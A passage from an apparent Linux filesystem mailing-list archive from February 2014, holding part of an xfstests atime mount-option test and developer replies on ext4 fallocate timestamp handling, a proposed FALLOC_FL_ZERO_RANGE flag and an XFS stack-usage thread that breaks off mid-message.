+_compare_stat_times YNN "$file3_stat_after_second_access" \ > + "$file3_stat_after_third_access" "after accessing file3 third time" > + > +# Btrfs only: Creating readonly snapshot. Access time should never > +# be updated, even when the strictatime mount option is active > +if [ "$FSTYP" = "btrfs" ]; then > + SPATH=$SCRATCH_MNT/snap1 > + btrfs subvol snapshot -r $TPATH $SPATH >> $seqres.full > + dir2_stat_readonly_before_access=`_stat $SPATH/dir2` > + ls $SPATH/dir2 >> $seqres.full > + cat $SPATH/dir2/file3 >> $seqres.full > + dir2_stat_readonly_after_access=`_stat $SPATH/dir2` > + _compare_stat_times NNN "$dir2_stat_readonly_before_access" \ > + "$dir2_stat_readonly_after_access" "for dir in readonly subvol" > + file3_stat_readonly_after_access=`_stat $SPATH/dir2/file3` > + _compare_stat_times NNN "$file3_stat_after_third_access" \ > + "$file3_stat_readonly_after_access" "for file in readonly subvol" > +fi > + > +# Remounting read-only. Access time should never be updated, despite the > +# strictatime mount option. > +dir2_stat_before_ro_mount=`_stat $TPATH/dir2` > +file3_stat_before_ro_mount=`_stat $TPATH/dir2/file3` > +_scratch_unmount > +_scratch_mount "-o ro,strictatime" > +ls $TPATH/dir2 > /dev/null > +cat $TPATH/dir2/file3 > /dev/null > +dir2_stat_after_ro_mount=`_stat $TPATH/dir2` > +_compare_stat_times NNN "$dir2_stat_before_ro_mount" \ > + "$dir2_stat_after_ro_mount" "for dir in read-only filesystem" > +file3_stat_after_ro_mount=`_stat $TPATH/dir2/file3` > +_compare_stat_times NNN "$file3_stat_before_ro_mount" \ > + "$file3_stat_after_ro_mount" "for file in read-only filesystem" > + > +# success, all done > +_scratch_unmount > +echo "Silence is golden" > +status=0 > +exit > diff --git a/tests/generic/323.out b/tests/generic/323.out > new file mode 100644 > index 0000000..5dba9b5 > --- /dev/null > +++ b/tests/generic/323.out > @@ -0,0 +1,2 @@ > +QA output created by 323 > +Silence is golden > diff --git a/tests/generic/group b/tests/generic/group > index f492461..3a72ee4 100644 > --- a/tests/generic/group > +++ b/tests/generic/group > @@ -125,3 +125,4 @@ > 320 auto rw > 321 auto quick metadata log > 322 auto quick metadata log > +323 atime auto quick > From adilger@dilger.ca Mon Feb 17 17:12:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B26DD7FA3 for ; Mon, 17 Feb 2014 17:12:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 953508F8059 for ; Mon, 17 Feb 2014 15:12:23 -0800 (PST) X-ASG-Debug-ID: 1392678738-04cbb00c294f5dc0001-NocioJ Received: from mail-pd0-f172.google.com (mail-pd0-f172.google.com [209.85.192.172]) by cuda.sgi.com with ESMTP id ksu1ZnowGdHv50C0 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 17 Feb 2014 15:12:19 -0800 (PST) X-Barracuda-Envelope-From: adilger@dilger.ca X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.172 Received: by mail-pd0-f172.google.com with SMTP id p10so15501760pdj.3 for ; Mon, 17 Feb 2014 15:12:18 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=mS3cDTy6TdZstTd51gC2mNz4YYc4s+3zeHDuSABxdws=; b=UkQIE/iXmVZcUMJtOHk+yG1ZO8ILEHFhOsZxCameeB0IjwZYM2HDKzAHFuIXumOIIE cpgPYCELPqX/9yLpjcZPUYX/ZeBNCun5LQvvvgDiCdFfRkDj2rVFruUqsFYUIN1oQowh 7SIy2gG12mJjDAtUR+G9Khvmn+IEtCwL3UuXlbY9a9Y9ZR+bY4RasdYjqWhzBqa2K/JT 5dNlDsIuTX5aXZ1niTX6BkDQLxnap1z7dKgurN99jaWZWZcYk9rhnJ8/uKXxvSxTWAFG ap9vaRG7LWRsM/cjn12D6IGyPheWFATTjGN4t0cF+sFvORHeUuN7GmsQ2HACIOytEl48 Q7Fw== X-Barracuda-BBL-IP: nil X-Gm-Message-State: ALoCoQm+bvUyWa0GRqsv+CnrX0sVCLvde1X3vMioL6/mB4SpPiw4/q8JNQ/+tGvy/Pp93PHBospZ X-Received: by 10.68.178.66 with SMTP id cw2mr28854348pbc.89.1392678738383; Mon, 17 Feb 2014 15:12:18 -0800 (PST) Received: from [10.71.4.70] ([63.239.94.10]) by mx.google.com with ESMTPSA id af1sm12597865pad.12.2014.02.17.15.12.16 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 17 Feb 2014 15:12:16 -0800 (PST) Content-Type: multipart/signed; boundary="Apple-Mail=_FCB0203D-3913-401C-B3E8-80734072523A"; protocol="application/pgp-signature"; micalg=pgp-sha1 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: [PATCH 1/6] ext4: Update inode i_size after the preallocation From: Andreas Dilger X-ASG-Orig-Subj: Re: [PATCH 1/6] ext4: Update inode i_size after the preallocation In-Reply-To: <1392649703-10772-2-git-send-email-lczerner@redhat.com> Date: Mon, 17 Feb 2014 16:12:14 -0700 Cc: Ext4 Developers List , Theodore Ts'o , linux-fsdevel , xfs@oss.sgi.com Message-Id: <9288BED9-A44E-4ACC-9A3D-BC086AB4E121@dilger.ca> References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <1392649703-10772-2-git-send-email-lczerner@redhat.com> To: Lukas Czerner X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: mail-pd0-f172.google.com[209.85.192.172] X-Barracuda-Start-Time: 1392678739 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145224 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Apple-Mail=_FCB0203D-3913-401C-B3E8-80734072523A Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii On Feb 17, 2014, at 8:08 AM, Lukas Czerner wrote: > Currently in ext4_fallocate we would update inode size, c_time and = sync > the file with every partial allocation which is entirely unnecessary. = It > is true that if the crash happens in the middle of truncate we might = end > up with unchanged i size, or c_time which I do not think is really a > problem - it does not mean file system corruption in any way. Note = that > xfs is doing things the same way e.g. update all of the mentioned = after > the allocation is done. I'm OK with this part. > This commit moves all the updates after the allocation is done. In > addition we also need to change m_time as not only inode has been = change > bot also data regions might have changed (unwritten extents). I don't necessarily agree about this. Calling fallocate() will not change the user-visible data at all, so there is no reason to e.g. do a new backup of the file or reprocess the contents, or any other reason that an application cares about a changed mtime. Cheers, Andreas > Also we do > not need to be paranoid about changing the c_time and m_time only if = the > actual allocation have happened, we can change it even if we try to > allocate only to find out that there are already block allocated. It's > not really a big deal and it will save us some additional complexity. >=20 > Also use ext4_debug, instead of ext4_warning in #ifdef EXT4FS_DEBUG > section. >=20 > Signed-off-by: Lukas Czerner > --- > fs/ext4/extents.c | 86 = +++++++++++++++++++++---------------------------------- > 1 file changed, 32 insertions(+), 54 deletions(-) >=20 > diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c > index 10cff47..6a52851 100644 > --- a/fs/ext4/extents.c > +++ b/fs/ext4/extents.c > @@ -4513,36 +4513,6 @@ retry: > ext4_std_error(inode->i_sb, err); > } >=20 > -static void ext4_falloc_update_inode(struct inode *inode, > - int mode, loff_t new_size, int = update_ctime) > -{ > - struct timespec now; > - > - if (update_ctime) { > - now =3D current_fs_time(inode->i_sb); > - if (!timespec_equal(&inode->i_ctime, &now)) > - inode->i_ctime =3D now; > - } > - /* > - * Update only when preallocation was requested beyond > - * the file size. > - */ > - if (!(mode & FALLOC_FL_KEEP_SIZE)) { > - if (new_size > i_size_read(inode)) > - i_size_write(inode, new_size); > - if (new_size > EXT4_I(inode)->i_disksize) > - ext4_update_i_disksize(inode, new_size); > - } else { > - /* > - * Mark that we allocate beyond EOF so the subsequent = truncate > - * can proceed even if the new size is the same as = i_size. > - */ > - if (new_size > i_size_read(inode)) > - ext4_set_inode_flag(inode, = EXT4_INODE_EOFBLOCKS); > - } > - > -} > - > /* > * preallocate space for a file. This implements ext4's fallocate file > * operation, which gets called from sys_fallocate system call. > @@ -4554,7 +4524,7 @@ long ext4_fallocate(struct file *file, int mode, = loff_t offset, loff_t len) > { > struct inode *inode =3D file_inode(file); > handle_t *handle; > - loff_t new_size; > + loff_t new_size =3D 0; > unsigned int max_blocks; > int ret =3D 0; > int ret2 =3D 0; > @@ -4594,12 +4564,15 @@ long ext4_fallocate(struct file *file, int = mode, loff_t offset, loff_t len) > */ > credits =3D ext4_chunk_trans_blocks(inode, max_blocks); > mutex_lock(&inode->i_mutex); > - ret =3D inode_newsize_ok(inode, (len + offset)); > - if (ret) { > - mutex_unlock(&inode->i_mutex); > - trace_ext4_fallocate_exit(inode, offset, max_blocks, = ret); > - return ret; > + > + if (!(mode & FALLOC_FL_KEEP_SIZE) && > + offset + len > i_size_read(inode)) { > + new_size =3D offset + len; > + ret =3D inode_newsize_ok(inode, new_size); > + if (ret) > + goto out; > } > + > flags =3D EXT4_GET_BLOCKS_CREATE_UNINIT_EXT; > if (mode & FALLOC_FL_KEEP_SIZE) > flags |=3D EXT4_GET_BLOCKS_KEEP_SIZE; > @@ -4623,28 +4596,14 @@ retry: > } > ret =3D ext4_map_blocks(handle, inode, &map, flags); > if (ret <=3D 0) { > -#ifdef EXT4FS_DEBUG > - ext4_warning(inode->i_sb, > - "inode #%lu: block %u: len %u: " > - "ext4_ext_map_blocks returned %d", > - inode->i_ino, map.m_lblk, > - map.m_len, ret); > -#endif > + ext4_debug("inode #%lu: block %u: len %u: " > + "ext4_ext_map_blocks returned %d", > + inode->i_ino, map.m_lblk, > + map.m_len, ret); > ext4_mark_inode_dirty(handle, inode); > ret2 =3D ext4_journal_stop(handle); > break; > } > - if ((map.m_lblk + ret) >=3D (EXT4_BLOCK_ALIGN(offset + = len, > - blkbits) >> blkbits)) > - new_size =3D offset + len; > - else > - new_size =3D ((loff_t) map.m_lblk + ret) << = blkbits; > - > - ext4_falloc_update_inode(inode, mode, new_size, > - (map.m_flags & EXT4_MAP_NEW)); > - ext4_mark_inode_dirty(handle, inode); > - if ((file->f_flags & O_SYNC) && ret >=3D max_blocks) > - ext4_handle_sync(handle); > ret2 =3D ext4_journal_stop(handle); > if (ret2) > break; > @@ -4654,6 +4613,25 @@ retry: > ret =3D 0; > goto retry; > } > + > + handle =3D ext4_journal_start(inode, EXT4_HT_INODE, 2); > + if (IS_ERR(handle)) > + goto out; > + > + inode->i_mtime =3D inode->i_ctime =3D ext4_current_time(inode); > + > + if (ret > 0 && new_size) { > + if (new_size > i_size_read(inode)) > + i_size_write(inode, new_size); > + if (new_size > EXT4_I(inode)->i_disksize) > + ext4_update_i_disksize(inode, new_size); > + } > + ext4_mark_inode_dirty(handle, inode); > + if (file->f_flags & O_SYNC) > + ext4_handle_sync(handle); > + > + ext4_journal_stop(handle); > +out: > mutex_unlock(&inode->i_mutex); > trace_ext4_fallocate_exit(inode, offset, max_blocks, > ret > 0 ? ret2 : ret); > --=20 > 1.8.3.1 >=20 > -- > To unsubscribe from this list: send the line "unsubscribe = linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html Cheers, Andreas --Apple-Mail=_FCB0203D-3913-401C-B3E8-80734072523A Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQIVAwUBUwKXTnKl2rkXzB/gAQID4BAAuZpAwsZ645L8aWEPVTXgvfgQbml/dqvf BKOBiVTXIhmcxBWPrFjkwy/wDQlg7Q3HAZOOxizEDN6pjfYUlOucIUGF5GOKnYv/ X2gUe4AtZOuU1jDV0bW5AwXv9cqWIYK7KdM1zqFhBBT3T2Bs/hHrh+AbLBksyOhZ oBeVRMElbWpHpHEIma0+FGKuCeDlA/jfa8wIDkKyAnAR+4nmbOclWC48UuVcBqr2 JRE+aX5kicm0sTFlEB23wZQ2cHN2YC4v8e5SK+NAxJ0xcpTXVj71D4ouKLPjxmiF 5txEznarmqpP0abr02g85nnZIzu8ujSAkBD6q6RQxvs22O+3vvlgo6u4+2B81809 Nkf1nJ+P5yqSpUVB/gzj/GggMqAOQWjUCpPvqobSnraDoO8whB0Tfnk0E/Jpq/GX iFB75W94jcK/RvDDoIifKtiah9OMDMGZO5em9EVxRCFLgJhosbvUiDvns3nSe/yB ucGFe0fntU4H8T7GxwFac0y9UUmt+6M5rUIt+MS/Isrb7doD2LodDAV8MHHSxCZz YQ2Xdk9w/ICcs+9G3Y8fizEO+CYRtTnf6ZIWSutyZEfCZmciu60iZ7gHHeb0DJKh DxQpozmYiRlr8mQL+Qurn/u6bH1zW0x8QJk42FzG1wn/WBmr/BoTQLFKeyMtowAJ d2UgGDlQT0w= =c8xK -----END PGP SIGNATURE----- --Apple-Mail=_FCB0203D-3913-401C-B3E8-80734072523A-- From tytso@thunk.org Mon Feb 17 17:21:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2DC937FA3 for ; Mon, 17 Feb 2014 17:21:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EE4F48F804B for ; Mon, 17 Feb 2014 15:21:07 -0800 (PST) X-ASG-Debug-ID: 1392679265-04cbb00c294f6570001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id OYRCwDFiZncTl8ns (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 17 Feb 2014 15:21:06 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WFXUk-0005F3-PF; Mon, 17 Feb 2014 23:21:02 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 757DB5803CB; Mon, 17 Feb 2014 18:21:00 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1392679260; bh=baRDPzSTdcxRKD+px1I8zF03v4+4QVHUhN5r0UJarB8=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=CU28YKIaL9vFlIkfHKEfNsjILWq0UF8cGqmVprFaXl1lV6Oe2kr5nGdWlHnRkr+lR ln87xBP24t/vLtbx/ELfIM/393xlnrC6RLOZ4X973ChKe5XlFTxIUYQ3d+ca6jp29Q oOfurZkekiiW5UXqUH2aVm997ApP8Sxwqf/KrDvs= Date: Mon, 17 Feb 2014 18:21:00 -0500 From: Theodore Ts'o To: Andreas Dilger Cc: Lukas Czerner , Ext4 Developers List , linux-fsdevel , xfs@oss.sgi.com Subject: Re: [PATCH 1/6] ext4: Update inode i_size after the preallocation Message-ID: <20140217232100.GA26580@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 1/6] ext4: Update inode i_size after the preallocation References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <1392649703-10772-2-git-send-email-lczerner@redhat.com> <9288BED9-A44E-4ACC-9A3D-BC086AB4E121@dilger.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9288BED9-A44E-4ACC-9A3D-BC086AB4E121@dilger.ca> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1392679265 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145224 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Feb 17, 2014 at 04:12:14PM -0700, Andreas Dilger wrote: > > I don't necessarily agree about this. Calling fallocate() will not > change the user-visible data at all, so there is no reason to e.g. > do a new backup of the file or reprocess the contents, or any other > reason that an application cares about a changed mtime. Well, if i_size has changed, then the visible results of reading from the file will change, so in that case I'd argue m_time should change. If the results of reading file doesn't change then we can keep m_time unchanged --- but since the inode is changing, c_time *should* always change any time we've made any changes to the extent tree. - Ted From david@fromorbit.com Mon Feb 17 19:01:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 92E347FAA for ; Mon, 17 Feb 2014 19:01:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 789D7304048 for ; Mon, 17 Feb 2014 17:01:48 -0800 (PST) X-ASG-Debug-ID: 1392685302-04cb6c6de0500e10001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id gNr3ioIupcLm2FTT for ; Mon, 17 Feb 2014 17:01:43 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmYOACOwAlN5LJYe/2dsb2JhbABZgwY4qHQDkVeFVIEVF3SCJQEBBTocIxAIAw4KCSUPBSUDIROIBA7KWxcWjmsHgySBFASUQ4NogTOJHYdUg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 11:31:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFZ46-0006rv-Bh; Tue, 18 Feb 2014 12:01:38 +1100 Date: Tue, 18 Feb 2014 12:01:38 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140218010138.GE13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392649703-10772-1-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392685302 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145227 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 17, 2014 at 04:08:17PM +0100, Lukas Czerner wrote: > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > It can be used to convert a range of file to zeros preferably without > issuing data IO. Blocks should be preallocated for the regions that span > holes in the file, and the entire range is preferable converted to > unwritten extents - even though file system may choose to zero out the > extent or do whatever which will result in reading zeros from the range > while the range remains allocated for the file. > > This can be also used to preallocate blocks past EOF in the same way as > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > size to remain the same. > > You can test this feature yourself using xfstests, of fallocate(1) however > you'll need patches for util_linux, xfsprogs and xfstests which you > can find here: > > http://people.redhat.com/lczerner/zero_range/ > > I'll post the patches after we agree and merge the kernel functionality. > > I tested this mostly with a subset of xfstests using fsx and fsstress and > even with new generic/290 which is just a copy of xfs/290 usinz fzero > command for xfs_io instead of zero (which uses ioctl). I was testing on > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. You also want to convert xfs/242 to be a generic test - it uses the _generic_test_punch helper to test all the corner cases across different extent type transitions. > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290; > > Note that there is a work in progress on FALLOC_FL_COLLAPSE_RANGE which > touches the same area as this pach set does, so we should figure out > which one should go first and modify the other on top of it. I was going to push the FALLOC_FL_COLLAPSE_RANGE stuff through the XFS tree once it was done - perhaps you and Namjae can get together and work out which order the patch series should go. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 17 19:05:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B54A97FAB for ; Mon, 17 Feb 2014 19:05:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 45213AC002 for ; Mon, 17 Feb 2014 17:05:26 -0800 (PST) X-ASG-Debug-ID: 1392685523-04cbb00c294fbfc0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Wz35rZ7gl10I4UaN for ; Mon, 17 Feb 2014 17:05:24 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjUHAICxAlN5LJYe/2dsb2JhbABZgwa7B4VUgRUXdIIlAQEEATocIwULCAMYCSUPBSUDIROHfQfKbBcWjmsHgySBFAEDmCuSJINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 11:35:05 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFZ7P-0006sp-3S; Tue, 18 Feb 2014 12:05:03 +1100 Date: Tue, 18 Feb 2014 12:05:03 +1100 From: Dave Chinner To: Eric Sandeen Cc: Koen De Wit , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v2] xfstests: test for atime-related mount options Message-ID: <20140218010503.GF13997@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: test for atime-related mount options References: <1392668720-6135-1-git-send-email-koen.de.wit@oracle.com> <530273CD.3090303@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530273CD.3090303@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392685523 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145227 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 17, 2014 at 02:40:45PM -0600, Eric Sandeen wrote: > On 2/17/14, 2:25 PM, Koen De Wit wrote: > > Tests the noatime, relatime, strictatime and nodiratime mount options. > > > > There is an extra check for Btrfs to ensure that the access time is > > never updated on read-only subvolumes. (Regression test for bug fixed > > with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) > > I think this looks ok. Only little nit is that _require_relatime > now implicitly requires scratch, but *shrug* it was Dave's idea. ;) There's a _require_scratch call in there, so it's all good. ;) Thanks Koen! > Thanks! > > Reviewed-by: Eric Sandeen And thanks for the reivew, Eric ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 17 19:28:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5CE977FAD for ; Mon, 17 Feb 2014 19:28:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BD38DAC006 for ; Mon, 17 Feb 2014 17:28:39 -0800 (PST) X-ASG-Debug-ID: 1392686916-04cb6c6de2502660001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id EDfnwM3Tkwrm2nt2 for ; Mon, 17 Feb 2014 17:28:37 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjUHAAO2AlN5LJYe/2dsb2JhbABZgwa7B4VUgRUXdIIlAQEEATocIwULCAMYCSUPBSUDIROHfQfKcxcWjhRXB4Q4BJgrilCHVINBKIEt Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 11:58:35 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFZTV-0006uq-E5; Tue, 18 Feb 2014 12:27:53 +1100 Date: Tue, 18 Feb 2014 12:27:53 +1100 From: Dave Chinner To: Linus Torvalds Cc: linux-mm , Al Viro , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140218012753.GG13997@dastard> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212004403.GA17129@redhat.com> <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212071829.GE13997@dastard> <20140214002427.GN13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392686916 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145228 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 15, 2014 at 03:50:29PM -0800, Linus Torvalds wrote: > [ Added linux-mm to the participants list ] > > On Thu, Feb 13, 2014 at 4:24 PM, Dave Chinner wrote: > > > > Dave, the patch below should chop off the stack usage from > > xfs_log_force_lsn() issuing IO by deferring it to the CIL workqueue. > > Can you given this a run? > > Ok, so 